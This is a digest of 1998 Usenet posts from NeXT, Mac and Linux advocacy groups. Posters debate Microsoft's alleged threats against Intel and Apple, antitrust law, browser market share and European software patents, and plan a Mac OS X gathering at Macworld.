Message-ID: <adtF2E3rz.Jts@netcom.com>
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Organization: ICGNetcom
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <adtF2At2v.8B7@netcom.com> <rbarris-ya023280001211980050240001@206.82.216.1> <364B0C41.E0B76B9D@spamtoNull.com> <rbarris-ya023280001211981208460001@206.82.216.1> <364C841E.EDD11D69@spamtoNull.com>
Date: Sat, 14 Nov 1998 02:19:11 GMT
Sender: adt@netcom18.netcom.com
Jonathan Harker (Limeyville@spamtoNull.com) wrote:
: Rob Barris wrote:
: > OK seriously, Andy Grove himself says that MS threatened them with yanking
: > Windows support for MMX and Merced if they didn't "knife the baby". So
: > Grove simply lacked the courage to stand up to MS' bullying!
:
: I'm sorry, but this makes little sense to me, I'm afraid. Is it your
: position that Intel is unaware of the fact that Microsoft is as
: dependent on X86 architecture as Intel is on Windows? If Microsoft were
: to "yank support" for Merced, what're they going to support instead?
The retail CD for WinNT 4 has the binaries to support x86, Alpha, PowerPC,
and MIPS CPUs. That strongly suggests that Microsoft is not dependent on
Intel at all, that their code base is portable. Microsoft if free to go to
whatever hardware platform the public shows interested in. Intel has the
more difficult job of getting the public to show interest in their
particular hardware platforms. An example Merced alternative would be
Alpha, especially since FX32! has shown pretty good support for existing
x86 Win32 binaries.
Tony
--
------------------
Tony Tribelli
adtribelli@acm.org
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: adt@netcom.com (Anthony D. Tribelli)
Subject: Re: "Knife the baby" finally appears
Message-ID: <adtF2E46H.L8C@netcom.com>
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Organization: ICGNetcom
References: <364295A3.ABE8C927@earthlink.net> <adtF2Bw7x.Do7@netcom.com> <rbarris-ya023280001211981405070001@206.82.216.1> <adtF2CH1x.MEL@netcom.com> <72hpl5$10bs$1@nntp6.u.washington.edu>
Date: Sat, 14 Nov 1998 02:27:53 GMT
Sender: adt@netcom18.netcom.com
R. Tang (gwangung@u.washington.edu) wrote:
: Anthony D. Tribelli <adt@netcom.com> wrote:
: >Rob Barris (rbarris@quicksilver.com) wrote:
: >: But was Apple's cloning move illegal?
: >
: >In reality probably not, and many of the heinous acts committed by
: >Microsoft are probably not illegal either. However in the original post
: >that I responded to someone was suggesting that it is illegal to kill (or
: >threaten) another company by denying it software that it needs to survive.
: >I just thought I'd give that poster another angle on that theory.
:
: Probably work better if there were no pre-existing legal
: agreements, however (i.e., terms of licensing [and not just the existence
: of licensing]).
What legal agreement did the cloners violate? Or are you merely referring
to the fact that Apple was under no legal obligation to continue providing
MacOS to them? Microsoft was under no legal obligation to supply MS Office
for MacOS at the time of the threats either, unlike today and the near
future.
Tony
--
------------------
Tony Tribelli
adtribelli@acm.org
From: malcolm@plsys.co.uk
Newsgroups: comp.sys.next.advocacy
Subject: MWSF MOX BOF?
Date: Sat, 14 Nov 1998 00:47:29 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <72ijv1$5uq$1@nnrp1.dejanews.com>
Heavens, I just had a quick look around, and I'm afraid I hardly recognise
the neighbourhood. This is really sad. For a while I thought the "knife the
baby" thread was actually about silencing Jonathan Harker. Ho hum.
Anyway, I was wondering how many other folks are going to MWSF? The only
seriously McOX-related session I can see is the one Andrew Stone's chairing
(and I'm speaking at) on January 6, and this won't really afford an
opportunity for a decent chinwag, so maybe it'd be worth organising a McOX
BOF(*) meeting one evening? Feel free to mail me with suggestions.
Best wishes,
mmalc.
http://www.plsys.co.uk/~malcolm/
(*) From Hackers.app: BOF /B-O-F/ or /bof/ n. Abbreviation for the phrase
"Birds Of a Feather" (flocking together), an informal discussion group and/or
bull session scheduled on a conference program. It is not clear where or
when this term originated, but it is now associated with the USENIX
conferences for UNIX techies and was already established there by 1984. It
was used earlier than that at DECUS conferences, and is reported to have been
common at SHARE meetings as far back as the early 1960s.
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 14 Nov 1998 03:54:45 GMT
Organization: Net Squared, Inc.
Message-ID: <01be0f81$1c03c700$06387880@chewy>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <adtF2At2v.8B7@netcom.com> <rbarris-ya023280001211980050240001@206.82.216.1> <adtF2Bw7x.Do7@netcom.com> <rbarris-ya023280001211981405070001@206.82.216.1> <01be0e95$8dc4e640$06387880@chewy> <364C8D5D.A48C7BF@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote
> > The
> > government *does* care if there is a pattern of actions which will
> > ultimately hurt consumers and/or the economy (e.g., higher prices, no
> > innovation, etc.).
>
>
> My goodness...You've just perfectly described the Mac--er, Apple
> market...:)
Good time for a quote I've been wanting to post.
"Compared to today, companies took their time in product development. ...
Apple unveiled the Macintosh computer in 1984, and 14 years later, it had
yet to deliver any breakthrough changes to its software technology."
Competing on Internet Time
Lessons from Netscape and
its Battle with Microsoft
pg. 4.
FYI: Microsoft tried to force the authors to hand over their notes and
tapes for the book for the current Microsoft/DOJ trial, but the courts
sided with the authors.
Todd
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 14 Nov 1998 04:43:52 GMT
Organization: Net Squared, Inc.
Message-ID: <01be0f87$f87c2640$06387880@chewy>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <364B07B9.F4870E47@spamtoNull.com> <tbrown-1211981902390001@mv196.axom.com> <01be0eb2$2064ff50$06387880@chewy> <364C9471.191445C9@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote
> > Microsoft wants to control access to the Internet,
>
>
> What is Netscape doing (and what has Netscape done) which would
> lead you to believe that company's aims are any different?
Exactly, there is no difference. There is nothing wrong with trying to
become a monopoy or to be one. The problem is what a company does with
the monopoly power.
Most people wouldn't care about Microsoft's monopoly in operating
systems if it didn't try use use that monopoly to kill other markets.
Remember, having a monopoly is *not* illegal.
> The last figures I saw showed clearly that Netscape still commands a
> majority of browsers in use. Please explain the mechanism by which
> Netscape plans to "control the Internet" by having more people simply
> use its browser to access the Internet.
Embrace and extend :-) When Netscape rolled out its first browsers, it
did everything Mosaic could (embrace), and just a little more (extend).
If you have a major market share, and that extra feature is useful,
web sites will design for it, and non-Netscape (or IE, or whatever)
will be left out in the cold.
Remember, "Mozilla" stood for Mosaic killer.
Furthermore, once you have major market share, you can tie it to your
other products. For example, a web server that support SSL for secure
transactions.
> I'm not sure you have a firm grasp on the nature of the Internet.
> Its very nature, indeed, its very attraction, is that it is
> "uncontrolled" and anybody who wants can "browse" it at will.
Remember when all those web pages started making heavy use of tables?
All those people with Mosaic were left out in the cold, or they had to
move to Netscape. And people with a computer without Netscape (e.g.,
DEC Ultrix) were screwed.
Microsoft wants to be in that position, but they can only get there by
having a large market share. Microsoft is pulling out all the stops to
get this market share: giving it away free, striking "default browser"
contracts with Apple and AOL (often using additional inducements), and
quite frankly spending a lot of money to create a good browser.
> I fire up IE, I've noticed that I can go anywhere I can go with
> Communicator. Can you detail how Communicator is "controlling my
access"
> to the Internet?
Today, because neither company has a dominant position, most sites make
sure their sites are compatible with both Netscape and Microsoft. This
was *not* the case when Netscape had 90% share, and it probably won't
be if one company gains that type of market share again.
Today's market is probably an abberation.
> Before IE was, Navigator was cross-platform. Can you explain
> how being cross-platform (apart from giving more people Internet
> access with these browsers) in any other way "controls Internet
> access"?
Giving more people access to a consistent capability and API (e.g., for
RealAudio to code to) is a necessary step. If one company has 90%
market share, web sites will develop (often exclusively) for that
platform. If you want to develop value added capability to the
Internet (e.g., QuickTime) you are at the control of the company with
90% market share.
The company with 90% market share is the gatekeeper, and they can make
your life as a developer easy or hell.
Todd
From: "Karsten M. Self" <kmself@ix.netcom.com>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! Pro-Linux people propagating anti-Linux FUD
Date: Fri, 13 Nov 1998 17:03:19 +0000
Organization: Self Analysis
Message-ID: <364C6657.6DCB7C2E@ix.netcom.com>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org> <3646A021.162FC622@ix.netcom.com> <qv64ss862wy.fsf@physp43.phys.canterbury.ac.nz> <3647E15E.7A2232BA@ix.netcom.com> <729lc5$hnd$1@nnrp1.dejanews.com> <72b6c2$16v$9@blue.hex.net> <72clqk$3ij$1@nnrp1.dejanews.com> <364A93F5.615EB064@ix.netcom.com> <72evh2$ut$1@nnrp1.dejanews.com> <364BE8FA.CB4F79C4@ix.netcom.com> <72hlu5$aul$1@nnrp1.dejanews.com>
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brlewis@my-dejanews.com wrote:
>
> In article <364BE8FA.CB4F79C4@ix.netcom.com>,
> kmself@ix.netcom.com wrote:
> > brlewis@my-dejanews.com wrote:
> > > In article <364A93F5.615EB064@ix.netcom.com>,
> > > kmself@ix.netcom.com wrote:
> > > > Fear is often the most useful weapon in battle. I'd like to see it
> > > > rendered ineffective WRT patents & OSS.
> > >
> > > By posting speculation to Usenet on why you think OSS is more vulnerable,
> > > you're providing fuel to FUD campaigns against OSS. I can see the headlines
> > > now:
> > >
> > > "Linux advocates in a panic over possible legal action."
> > > "Could your company be sued for using Linux?"
> >
> > I'm hardly the only person suggesting that this danger exists. Others
> > include Linus Torvalds, Alan Cox, and Jeremy Allison. I think if the
> > danger does exist, we're doing companies considering OSS a favor by
> > making them aware of the issue. Moreover, I suspect that there are
> > fairly effective remedies available.
>
> You're not only suggesting that the danger exists, but that it's higher for
> OSS than for proprietary software. If others are saying the same thing,
> please point me toward what they're saying and I'll argue with them instead.
Alan Cox on patents: http://lwn.net/980625/patents.html
Exchange w/ Linux & Jeremy from "Future of Linux Forum":
http://pw1.netcom.com/~kmself/OSSPatPool/FOL_19980714_patents.html
....you're an adult (I presume). Search. Jeremey's posted some rants at
Infoworld Electric Forums (http://forums.infoworld.com/), unfortunately
the site's search engine is broken. Browse through Nick Petreley's
columns starting 5/98. Deja News and Alta Vista should turn up more.
A few links:
Bruce Peren's LinuxWorld article started bits of this thread:
http://www.linuxworld.com/linuxworld/lw-1998-11/lw-11-thesource.html
FSF describes the problems it's had dealing with patented technology:
http://www.fsf.org/philosophy/gif.html
The League for Programming Freedom (site moves around, it's *not*
www.lpf.org -- that's the Libertarian Party of Florida) and EFF
(http://www.eff.org/ -- not responding right now) also discuss bits
about SW patents. Oracle had something to say here:
http://www.eff.org/pub/Intellectual_property/oracle_patent_ofc.testimony
> > > If you're really concerned, speak privately with a good lawyer and try to
> come
> > > up with a plan.
> >
> > What makes you think I haven't?
>
> The fact that you haven't said, "I spoke to a patent lawyer who cited
> such-and-such as evidence that OSS is more vulnerable to patent suits than
> proprietary software." You've presented it simply as your own opinion.
It *is* my opinion -- little in Usenet is much else. Not being a
lawyer, I shouldn't be making public pronouncements of the law (and I
try to avoid doing so).
The vulnerability arises out of an analysis of legal strategy, posted by
me in another reply (I believe to one of your posts, you should read
it). The vulnerability isn't based on a specific legal characteristic
of OSS or patents, it is a strategic vulnerability. The lawyers and OSS
developers I've discussed this with seem largely to agree. Flogging
this point here & now is getting tiresome.
I've discussed the issue with several people, I can give instances of
development which hasn't happened or people who've stopped development
specifically due to patent concerns (GIMP CMYK, G77 development --
halted for a time).
--
Karsten M. Self (kmself@ix.netcom.com)
What part of "Gestalt" don't you understand?
Welchen Teil von "Gestalt" verstehen Sie nicht?
web: http://www.netcom.com/~kmself
SAS/Linux: http://www.netcom.com/~kmself/SAS/SAS4Linux.html
8:41am up 6 days, 55 min, 4 users, load average: 0.37, 0.18, 0.15
From: Jean-Paul Samson <jeanpaul@cs.ualberta.ca>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MWSF MOX BOF?
Date: 14 Nov 1998 07:14:36 GMT
Organization: TELUS Communications Inc.
Message-ID: <72jaks$m85@priv-sys04-le0.telusplanet.net>
References: <72ijv1$5uq$1@nnrp1.dejanews.com>
In-Reply-To: <72ijv1$5uq$1@nnrp1.dejanews.com>
On 11/13/98, malcolm@plsys.co.uk wrote:
>Anyway, I was wondering how many other folks are going to MWSF? The
>only seriously McOX-related session I can see is the one Andrew
>Stone's chairing (and I'm speaking at) on January 6, and this won't
>really afford an opportunity for a decent chinwag, so maybe it'd be
>worth organising a McOX BOF(*) meeting one evening?
Yeah, I noticed that. Last year's MWSF had lots of conference
sessions regarding Rhapsody. This year, nothing. Perhaps the
organizers have taken the cancellation threats seriously and decided
to eliminate all Rhapsody/Mac OS X stuff this year. Rather sad,
'cause last year these were the most popular sessions (lots of people
standing or sitting on the floor). Good thing I'm not going this
year. (Being advertised at on the show floor is just not my thing,
although some people seem to like it. It is particularly depressing
since I can't afford to buy anything!
Jean-Paul Samson
--
-===================================================================-
Jean-Paul C. Samson -===- jeanpaul@cs.ualberta.ca (NeXTmail & MIME)
-=============- http://www.cs.ualberta.ca/~jeanpaul -=============-
-===================================================================-
"Microsoft is a fact of life. They're like the air we breathe.
Perhaps a better analogy is bottled water, because you have to buy
it." -- Steve Jobs, Apple Computer's Worldwide Developers
Conference, May 16th, 1997
-===================================================================-
Message-ID: <364D3398.769C5BE9@trilithon.com>
From: Henry McGilton <henry@trilithon.com>
Organization: Trilithon Research
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: MWSF MOX BOF?
References: <72ijv1$5uq$1@nnrp1.dejanews.com>
Content-Type: text/plain; charset=us-ascii
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NNTP-Posting-Date: Sat, 14 Nov 1998 02:35:15 EDT
Date: Fri, 13 Nov 1998 23:39:04 -0800
malcolm@plsys.co.uk wrote:
* Heavens, I just had a quick look around, and I'm afraid I
* hardly recognise the neighbourhood. This is really sad.
* For a while I thought the "knife the baby" thread was
* actually about silencing Jonathan Harker. Ho hum.
Right --- advocacy for anything Next-wise appears to have died.
* Anyway, I was wondering how many other folks are going to MWSF?
I'm planning to go --- exhibits only, probably.
* The only seriously McOX-related session I can see is the one
* Andrew Stone's chairing (and I'm speaking at) on January 6,
* and this won't really afford an opportunity for a decent
* chinwag, so maybe it'd be worth organising a McOX
* BOF(*) meeting one evening? Feel free to mail me with
* suggestions.
Given I'm here on the scene, I could set up something.
Just for laughs, how many squash players are there in the newsgroup?
If I could get enough people --- maybe between eight and
sixteen --- I could try arrange with the San Francisco Bay Club
to have a mini-tournament, then go out for several beers.
Cheers,
........ Henry
============================================================
Henry McGilton | Trilithon Software
Boulevardier, Java Composer | Seroia Research
-------------------------------+----------------------------
mailto:henry@trilithon.com | http://web.trilithon.com
============================================================
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 14 Nov 1998 07:53:50 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-1411980253120001@pm61-25.magicnet.net>
References: <364295A3.ABE8C927@earthlink.net> <adtF2Bw7x.Do7@netcom.com> <rbarris-ya023280001211981405070001@206.82.216.1> <adtF2CH1x.MEL@netcom.com> <72hpl5$10bs$1@nntp6.u.washington.edu> <adtF2E46H.L8C@netcom.com>
adt@netcom.com (Anthony D. Tribelli) wrote:
> What legal agreement did the cloners violate?
In the original agreements, the cloners were supposed to make an effort to
extend the Mac franchise beyond Apple's normal sales market. They
didn't. Almost all of their ads were in Mac-oriented publications, which
meant that their entire campaign was aimed at taking sales from Apple.
> Microsoft was under no legal obligation to supply MS Office
> for MacOS at the time of the threats either, unlike today and the near
> future.
That's the fun part of antitrust law. Microsoft had no real obligation to
keep selling Office and the other apps. They could have discontinued it
at any time. *However*, once they used the threat of killing Office to
try and get Apple to do something, they crossed the line into "abusive
monopoly."
You can be a monopoly all you want, as long as you don't use that monopoly
to damage other companies intentionally. To quote Stan Lee, "With great
power comes great responsibility."
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: nws@rollingthunder.demon.co.uk (Anthony Ord)
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Sat, 14 Nov 1998 14:01:12 GMT
Message-ID: <36598246.6204950@news.demon.co.uk>
References: <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org> <3646A021.162FC622@ix.netcom.com> <qv64ss862wy.fsf@physp43.phys.canterbury.ac.nz> <3647E15E.7A2232BA@ix.netcom.com> <qv6ogqf6nay.fsf@physp43.phys.canterbury.ac.nz> <36493AF7.BDFE3CAA@ix.netcom.com> <364b1f14.1124576@news.demon.co.uk> <KAi$REAcsAT2EAIj@wolff.co.uk> <364C3479.5C1BFBB5@cadence.com> <oFPnADAoPFT2EA9z@wolff.co.uk>
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On Fri, 13 Nov 1998 15:44:40 +0000, Paul Wolff <paul@wolff.co.uk>
wrote:
>In article <364C3479.5C1BFBB5@cadence.com>, Simon Kinahan
><simonk@cadence.com> writes
>>Paul Wolff wrote:
>>>
>>> In article <364b1f14.1124576@news.demon.co.uk>, Anthony Ord <nws@rolling
>>> thunder.demon.co.uk> writes
>>> >On Wed, 11 Nov 1998 07:21:27 +0000, "Karsten M. Self"
>>> ><kmself@ix.netcom.com> wrote:
>>> >
>>> >>My position is this:
>>> >>
>>> >> - For better or worse, SW patents exist, in the US, Japan, and a number
>>> >>of European nations. I don't know specifics, IANAL.
>>> >
>>> >They don't exist in the EU.
>>>
>>> They do, sir.
>>
>>From the web site of the European patent office:
>>
<snip of what can't be patented>
>>That would appear to me (as was my understanding previously) to indicate
>>that anything which is purely a computer program or a description of one,
>>at some level (eg. assebler, high level labguage, or pseudocode), is not
>>patentable. That would seem to exclude IBM/Unisys's LZW patents, or the
>>recent rash of Microsoft patents.
>>
>>I'm unclear about 'contributions of a technical character to the known
>>art'. Does this, for instance, include painting software ?
>>
>Let's start with what the EPO says in its examination guidelines (Part
>C, Chapter IV, paragraph 2.3):
>
>"A computer program claimed by itself or as a record on a carrier, is
>not patentable irrespective of its content. The situation is not
>normally changed when the computer program is loaded into a known
>computer. If however the subject matter as claimed makes a technical
>contribution to the known art, patentability should not be denied merely
>on the ground that a computer program is involved in its implementation.
>This means, for example, that program-controlled manufacturing and
>control processes should normally be regarded as patentable subject-
>matter.
Yes, because they are physical processes. Just because there is
software embedded in the middle, that doesn't render it invalid.
>It follows also that, where the claimed subject-matter is
>concerned only with the program-controlled internal working of a known
>computer, the subject-matter could be patentable if it provides a
>technical effect. As an example consider the case of a known data-
>processing system with a small fast working memory and a larger but
>slower further memory. Suppose that the two memories are organised
>under program control, in such a way that a process which needs more
>address space than the capacity of the fast working memory can be
>executed at substantially the same speed as if the process data were
>loaded entirely in that fast memory. The effect of the program in
>virtually extending the working memory is of a technical character and
>might therefore support patentability."
>
>In the 1994 EPO Annual Report, and referring to granted patents, so we
>are talking about applications filed in the 1980s and late 1970s only,
>it is stated that the EPO had granted over 11000 patents for software-
>related inventions [a subjective classification, to be sure] in the core
>areas of information technology alone, ie digital data processing, data
>recognition, representation and storage (IPC classes G 06 and G 11).
>Fewer than 100 applications in this area were refused on the grounds
>that the subject-matter lacked technical character.
>
>The report also said that the EPO would be analysing US CAFC appeals
>relating to software patents carefully "to see whether they have any
>bearing on European patent practice".
>
>According to remarks from within the European Commission, the law in
>Europe is unclear. "The practice of patent offices is not exactly in
>line with the wording of the relevant patent laws. The law excludes
>patent protection for software but if you are clever, you can obtain a
>patent for this kind of invention. In other words, those who know the
>'rules of the game' are successful in getting patents granted for
>software inventions, and those who lack this knowledge do not even try
>to apply for software patents .... with the European Patent Office".
This I can't understand. What is the point of awarding patents in
variance with the law? As soon as the patent is challenged, it will be
thrown out. The EPO does not make the law, and they should follow it.
Wait a minute. I can see why they do it. It is a very nice revenue
stream to award useless software patents.
>European software patentability cannot be as liberal as in the United
>States without some change in the written law that computer programs as
>such are not patentable, but nevertheless the written law is being
>interpreted to allow software to be patented in most cases.
Interpreted by the EPO. They are neither judge, jury, nor executioner.
They are awarding the equivalent of the inter-war German Mark. Nicely
written toilet paper.
Regards
Anthony
===============================================================
|'All kids love log!' |
| Ren & Stimpy |
===============================================================
From: a1050pi@yahoo.com (Sheldon Gartner)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Mac+Linux: "amazingly great" part II
Date: Sat, 14 Nov 1998 14:15:33 GMT
Organization: Airnews.net! at Internet America
Message-ID: <97042EDDF11DA39D.35D6071AA669CB56.DAD30F1AEB9000E9@library-proxy.airnews.net>
References: <72evt6$15u$1@nnrp1.dejanews.com> <861zn8w3jc.fsf@topquark.spots.ab.ca>
Abuse-Reports-To: abuse at airmail.net to report improper postings
NNTP-Proxy-Relay: library.airnews.net
NNTP-Posting-Time: Sat Nov 14 08:06:33 1998
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On 12 Nov 1998 22:43:51 -0700, keeling@spots.ab.ca.no.spam (s.
keeling) wrote:
>brad_public@my-dejanews.com writes:
>
>> stage I think that we need some pretty good answers as to how to maintain the
>> confidence of IS managers' in the system, should the storm be about to break
>> (as soon as the DoJ issue is resolved, I would guess).
>
>If their eyes are open to the costs, the abysmal uptimes, and the lack
>of scalability, they'll temper their "upgrade" purchases. If not,
>they'll bury themselves in an impossible to maintain and horrifically
>expensive business boat anchor, and their competitors running linux
>will eat their shorts.
>
>It's annoying to have to work for people who expect and insist that
>you'll be sitting at a Microsoft based desktop when you work for them,
>but that should be temporary. Soon, the smart managers will be
>putting us back on X Window workstations, 'cause the Microsoft Network
>they paid so much for just can't support another user without collapsing.
It's driving me crazy that Apple is dropping the ball on Linux. I've
heard that Apple could provide "Yellow Box" for Linux....What exactly
_is_ Yellow Box, anyway. (And will OSX run Linux software and
vis-versa?) And could it make Linux easier for newbies?
As I've said so often--MacOS and Linux both have something the other
needs. I could see Apple trying to work its way into the business
community by providing dualboot machines for those who asked....
>> It will be interesting to see how many Linux lovers think that we might have
>> a large scale problem brewing... and how we might respond to this. Who knows?
>
>How to respond? Sit them down to Linux box. Show 'em even an idiot
>can handle it, as a user, with a few minutes coaching. Then tell 'em
>how much the whole system cost. Then tell 'em how many others are
>also logged in to the same machine doing what they're doing. Then
>take 'em down the hall to look at the Beowulf monster you've built
>with cast off parts ...
That's why I think someone could make a HUGE amount of money if they
developed a service company that _just_ installed Linux on old
hardware. Heck, Apple could make a tone of money just buy providing
the software to make the install dumb-ass proof (speaking as said
Linux install dumbass) 8-)
>> One thing I passionately believe is that M$ has compeletely underestimated the
>> collective intelligence of the Linux community.
>
>No, I would say that the very existence of the Halloween memos
>bespeaks a very healthy sense of paranoia on the part of Microsoft. I
>would really have been worrying for Bill's sanity if this kind of
>questioning *wasn't* going on inside Microsoft.
As of right now, at least, M$ appears in a tight spot. How do they
crush Linux with the government breathing down their neck? If they
allow it to grow so they can use it as a defense, then it'll get so
big and the momentum will grow that they won't be able to control it
anymore.
-l
---
ICQ#: 9393354 * "Whenever you find that you are on the side of
the majority, it is time to reform." -- Mark Twain
From: gupta@knim.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 14 Nov 1998 14:20:35 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <72k3jj$68e@newsb.netnews.att.com>
References: <364295A3.ABE8C927@earthlink.net> <364B0920.74AB6512@spamtoNull.com> <72i4pl$e69$1@coward.cc.utah.edu> <364CA67E.6C5A5121@exu.ericsson.se>
Originator: gupta@tlctest
Michael Peck <Michael.Peck@Ericsson.com> wrote:
>
>Even more ridiculous than this peabrained pedagoguery is the fact that
>you would say this in defense of lawsuits against Microsoft, who surely
>acted out of self-interest in doing what it did. No, I'm sorry, the most
>ridiculous part is that Apple may act out of self-interest, but
>Microsoft, by dint of its size and influence, may not.
The rough equivalent of what Microsoft did according to the government's
case, would be Apple making its PowerMac internals available to Be on the
condition that they do not port BeOS to Intel machines.
Apple, and Microsoft, can act out of self-interest, but within the law.
That is why there is a prosecution of Microsoft (it allegedly did not
act within the law). Whether it is guilty or not remains to be seen.
-arun gupta
From: gupta@knim.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 14 Nov 1998 14:25:14 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <72k3sa$6dn@newsb.netnews.att.com>
References: <364295A3.ABE8C927@earthlink.net> <364B322A.85F81455@spamtoNull.com> <cirby-1211981628000001@pm61-29.magicnet.net> <364C7C35.2405E875@spamtonull.com>
Originator: gupta@tlctest
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>Your sentiments on the matter reflect no more than past scuttlebutt,
>rumor, and innuendo. The *facts*, as they have been officially stated by
>Apple, are that Microsoft is "not guilty" of any of these rumored
>offenses.
I'm curious, does that mean that, for example, President Clinton did
nothing to Paula Jones (that is what the settlement states).
Will, for example, in a possible impeachment trial, the facts of the
Paula Jones case become inadmissible ?
Finally, does the settlement force the rest of us to agree that nothing
happened, or place us in legal jeopardy ?
-arun gupta
From: gupta@knim.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 14 Nov 1998 14:28:41 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <72k42p$6g0@newsb.netnews.att.com>
References: <364295A3.ABE8C927@earthlink.net> <364B0C41.E0B76B9D@spamtoNull.com> <rbarris-ya023280001211981208460001@206.82.216.1> <364C841E.EDD11D69@spamtonull.com>
Originator: gupta@tlctest
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>
>I get just as nervous when Steve Jobs justifies killing Mac cloning in
>the interests of "consumer choice" (which he has had the unmitigated
>gall to actually do.)...:)
I see a distinction between a sinking company buying its way out
of a ruinous contract (with Power Computing) and not renewing it
with the rest (UMax, etc.);
and a company with a 90% marketshare making doing of business
conditional on dropping of products.
-arun gupta
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Sat, 14 Nov 1998 09:34:39 -0500
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Ted Brown wrote:
>
> I never said MS did it against their will. You stated that MS gave Apple
> a browser worth millions. They didn't, they made a Mac Browser to finish
> a deal they made with AOL. They gave AOL a browser worth millions. Apple
> had nothing to do with it, other than agreeing to use it as the default
> browser in the Mac OS.
OK, so if I understand you, then, your position is that Microsoft doing
a Mac browser for AOL did nothing for the Mac, but only benefited AOL
and Microsoft. Have you thought about the fact that since this made AOL
I-browsing just as accessible to Mac users as to PC users, that with
first-time-buyers and newbies in general this might have made them feel
more comfortable purchasing a Mac instead of a PC?
>
> Now if you're really asking, 'Does the AOL agreement insist that MS
> provide Mac IE free to the rest of the world?" Probably not. But, the
> cost has already been paid. The extra cost of having IE up for download
> and of transmitting a golden copy to Apple is quite mimimal (It's
> certainly not 'millions').
Again, if your assumption that doing IE for the Mac benefits MS more
than Apple, I'd just encourage you to think again...
>
> It seems that someone ought to be able to make some ballpark guess on the
> settlement from Apple's public disclosures. Or, due to a complete lack
> of any evidence, guess that the settlement was chump change. Or am I
> being really naive about all the nasty tricks that large corporations can
> play with their statements?
>
Nobody knows how much, if anything, either company is paying the other
per the cross-licensing agreement.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 14 Nov 1998 15:37:32 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <72k83s$caq@news1.panix.com>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <atticus-0811981935190001@user-38lcbl7.dialup.mindspring.com> <727ggt$mba@news1.panix.com> <364A0F3E.912B8E3E@spamtoNull.com> <72dp06$1ks@news1.panix.com> <364B0920.74AB6512@spamtoNull.com> <cirby-1211981241390001@pm61-46.magicnet.net> <364B402E.E37AB031@spamtoNull.com> <cirby-1211981630420001@pm61-29.magicnet.net> <364C7C99.9D80388D@spamtoNull.com>
On Fri, 13 Nov 1998 13:38:17 -0500,
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>> There has been *nothing* to back up your little hopeful dream.
